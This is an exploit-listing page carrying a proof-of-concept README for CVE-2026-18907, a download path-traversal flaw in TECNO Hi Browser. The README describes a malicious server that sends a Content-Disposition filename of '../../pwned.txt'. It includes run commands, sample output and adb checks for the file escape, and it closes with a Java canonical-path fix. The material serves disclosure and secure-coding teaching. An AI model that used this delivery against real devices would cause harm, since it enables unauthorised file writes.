Sploitus

Exploit for CVE-2026-18907

githubexploit Β· 2026-08-11

Exploit Code

README115 lines
## https://sploitus.com/exploit?id=953FC90C-F03E-5C29-87F7-EFFC1E789596
# CVE-2026-18907 β€” Path Traversal in TECNO Hi Browser Download Handler

Proof-of-concept for **CVE-2026-18907** (`CVSS 7.5 High`, CWE-23), a relative
path-traversal vulnerability in the **download file feature** of **TECNO Hi
Browser** (`com.talpa.hibrowser`) version **2.23.1.1**. The browser trusted an
attacker-controlled `Content-Disposition` filename and joined it onto the
download directory without sanitising path separators or canonical-path
checking the result β€” so `../` sequences in the filename let the response body
be written outside `Download/` to any path the browser's storage permissions
allow.

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-18907
- **Vendor advisory (TECNO SRC):** https://security.tecno.com/SRC/blogdetail/448?lang=en_US
- **Accompanying article:** https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
- **Researcher credited:** MUSTAFA SANLI
- **Status:** fixed in the latest version of Hi Browser (per TECNO advisory).

> This PoC does **not** include the proprietary `com.talpa.hibrowser` APK. It
> demonstrates (a) the exact malicious HTTP *delivery* and (b) the *root-cause
> class* of bug (a downloader that trusts a response filename as a path
> component). The same primitive is what CVE-2026-18907 describes.

## Files

| File | Purpose |
|---|---|
| `evil_server.py` | The malicious HTTP server. Serves one response whose `Content-Disposition` filename carries `../`. This is the *delivery*. |
| `naive_downloader.py` | A minimal downloader that reproduces the vulnerable `join(dir, filename)` pattern, alongside the fixed (basename + canonical-containment) version, so you can watch the escape in one run. |

## Quick start

```bash
# terminal 1 β€” start the delivery server
$ python3 evil_server.py
================================================================
 CVE-2026-18907 path-traversal delivery server
================================================================
 listening     : http://0.0.0.0:8000/
 traversal file: '../../pwned.txt'
 payload bytes : 43
----------------------------------------------------------------
 Point a vulnerable browser/downloader at the URL above.
 On a VULNERABLE client the file escapes the download dir.
================================================================

# terminal 2 β€” run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
 CVE-2026-18907 naive downloader
================================================================
 download dir : /tmp/demo/Download
 Content-Disposition: attachment; filename="../../pwned.txt"
 parsed name  : '../../pwned.txt'
----------------------------------------------------------------
 [VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
              resolved -> /tmp/pwned.txt
              escaped download dir: True
 [FIXED]      wrote 43 bytes -> /tmp/demo/Download/pwned.txt
             ../ discarded by basename(); contained OK
================================================================
```

The vulnerable join produced `/tmp/demo/Download/../../pwned.txt`, the OS
resolved the `..`, and the file materialised at **`/tmp/pwned.txt`** β€” *outside*
the download directory. The fixed path took `os.path.basename()` first (the
`../` is path information and is discarded, leaving `pwned.txt`) and then
verified the canonical path stayed inside the download dir.

## Pointing a browser at it

Start `evil_server.py` on a host the test device can reach, then navigate a
vulnerable browser to `http://:8000/`. On a browser that auto-starts
`attachment` downloads and does not sanitise the filename, the file is written
to a path resolved by the `../` chain. Verify containment failed with `adb`:

```bash
$ adb shell ls -la /sdcard/Download/         # nothing β€” name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt                            # escaped the download directory
```

Tune the climb depth to the device with `--depth` (default 2 clears
`/sdcard/Download/` back to `/sdcard/`; raise it to climb higher), and the
landing basename with `--target`.

## The fix (one idiom)

For any download manager, the whole CWE-23 class collapses to two habits
applied together:

1. **Reduce to a basename** β€” strip everything up to and including the last `/`.
2. **Verify canonical-path containment** β€” after joining, canonicalise and
   assert the result still starts with the intended directory.

```java
File base = downloadDir.getCanonicalFile();
File out  = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
    throw new SecurityException("refusing to write outside download dir: " + out);
}
```

Do **not** blacklist `../` β€” the set of traversal-equivalent encodings is
open-ended. Canonicalise, then compare. That algorithm is closed.

## Responsible use

Run the server only on a network you control and only test against a device you
own. A path-traversal write is, by definition, a file-write primitive β€” point
it at nothing you are not willing to overwrite.

## License

MIT β€” see the accompanying article for full attribution and primary sources.